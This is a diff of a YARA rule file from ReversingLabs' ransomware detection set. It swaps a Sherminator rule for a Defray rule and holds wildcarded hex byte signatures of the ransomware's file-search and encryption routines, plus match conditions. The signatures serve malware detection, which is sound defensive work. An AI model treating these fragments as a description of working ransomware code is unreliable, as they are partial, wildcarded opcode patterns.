+            89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files_3 = {
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4
-            ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ??
-            72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F
-            82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F
-            84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ??
-            83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ??
-            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
-            8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D
-            45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            46 EB ?? 85 F6 75 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 45 F0 89 B5 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 40 3D ?? ?? ??
-            ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B
-            C8 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8
+		$encrypt_files_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80
+            FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50
+            8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF
         }
-		$encrypt_files_4 = {
-            8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45
-            ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72
-            ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 40 ??
-            F6 84 05 ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ??
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D
-            41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83
-            7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50
+		$encrypt_files_p2 = {
+            75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ??
+            ?? 8B C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B
+            45 ?? 50 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF
+            75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B
+            15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files_5 = {
-            FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
-            ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ??
-            ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
-            E5 5D C3 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ??
-            ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF
-            B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7
-            45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ??
-            ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 46 89 B5 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ??
-            40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ??
-            ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? E9
+		$main_routine = {
+            8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55
+            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? E8 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 8D 55 ?? 66
+            B8 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B
+            0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 8D 55 ??
+            33 C0 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF
+            51
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($encrypt_files_1 and $encrypt_files_2 and $encrypt_files_3) or ($encrypt_files_1 and $encrypt_files_4 and $encrypt_files_5)
+		uint16(0)==0x5A4D and ($main_routine) and ( all of ($find_files_*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Sherminator : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Defray : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Sherminator ransomware."
+		description = "Yara rule that detects Defray ransomware."
 		author = "ReversingLabs"
-		id = "99792a22-8027-557f-927f-30eac4d1e690"
+		id = "bc9e2dfe-168b-5b99-8523-07bfdcba44f2"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sherminator.yara#L1-L157"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "22ac61b95f6ca4530e81a23fdd05be93e368647ca7100097a94eae3c6ce3b7d1"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Defray.yara#L1-L157"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "82d883c77f49e50edbc7af05a108d4d54a46dca7661e4d0cd8aeffa19cb8df98"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34735,145 +36323,142 @@ rule REVERSINGLABS_Win32_Ransomware_Sherminator : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sherminator"
+		tc_detection_name = "Defray"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$enum_resources_p1 = {
-            55 89 E5 57 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24
-            ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ??
-            ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 54
-            24 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89
-            45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89
-        }
-		$enum_resources_p2 = {
-            45 ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45
-            ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? 8B 15 ??
-            ?? ?? ?? 8B 0D ?? ?? ?? ?? C1 E1 ?? 8D 1C 0A C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ??
-            ?? ?? ?? 89 03 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 00 85 C0 0F 84 ??
-            ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 50 ?? A1 ?? ?? ?? ?? 8B 0D ?? ??
-            ?? ?? C1 E1 ?? 01 C8 8B 00 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 10 89 D0 B9 ?? ?? ?? ?? 89 C3 B8 ?? ?? ?? ?? 89 DF F2
-            AE 89 C8 F7 D0 83 E8 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 83 C0 ?? A3 ?? ?? ?? ??
-            8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 83 E0 ?? 85 C0 74 ?? 8B 45 ?? C1 E0
-            ?? 89 C2 8B 45 ?? 01 D0 89 04 24 E8 ?? ?? ?? ?? EB ?? 90 83 45 ?? ?? 8B 45 ?? 39 45
-            ?? 0F 82 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ??
-            ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 90 90 8D 65 ?? 5B 5F 5D C3
+		$find_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 33
+            F6 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D9 56 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83
+            C4 ?? 2B D3 8B CB 89 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D
+            BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C6 75 ?? BE ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 53 A5 A5 66 A5 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ??
+            83 FB ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ??
+            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C6
+            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B
+            10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66
+            85 D2 75 ?? 8B C6 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B
+            95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 83 EF
+            ?? 33 C9 66 8B 47 ?? 8D 7F ?? 66 3B C1 75 ?? A1 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 07
+            8B F2 66 8B 02 83 C2 ?? 66 3B C1 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ??
+            83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F6 85 ?? ?? ?? ?? ?? F3
+            A4 74 ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? F7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 66 8B 85 ?? ?? ?? ?? 66 89 04 59 43 89 1D ?? ??
+            ?? ?? 33 F6 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encrypt_files_p1 = {
-            55 89 E5 57 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 ?? ?? ?? ??
-            ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ??
-            ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
-            ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01
-            D0 66 C7 00 ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ??
-            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89
-            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 89 55
-            ?? 83 7D ?? ?? 7F ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 77 ?? C7 44 24 ?? ?? ?? ?? ?? 8B
-            45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24
-            ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ??
-            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 45 ?? ?? ?? ?? ?? DF 6D ??
-            DD 5D ?? DD 45 ?? DD 05 ?? ?? ?? ?? DF E9 DD D8 76 ?? 8B 45 ?? 89 45 ?? EB ?? C7 45
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83
-            7D ?? ?? 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC
+		$find_special_folders = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 BE ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 56 33 DB 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ??
+            ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 59 F3 A5 68
+            ?? ?? ?? ?? 53 50 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D
+            BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 50 53 FF D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF
+            D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83
+            C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B
+            47 ?? 83 C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF
+            ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? A5 A5 A5 A5
+            66 A5 E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF
-            D0 C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 15 ??
-            ?? ?? ?? A1 ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? C7 04 24 ??
-            ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ??
-            ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ??
-            ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 04 24 ?? ?? ?? ?? A1
-            ?? ?? ?? ?? FF D0 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89
-            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04
-            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B
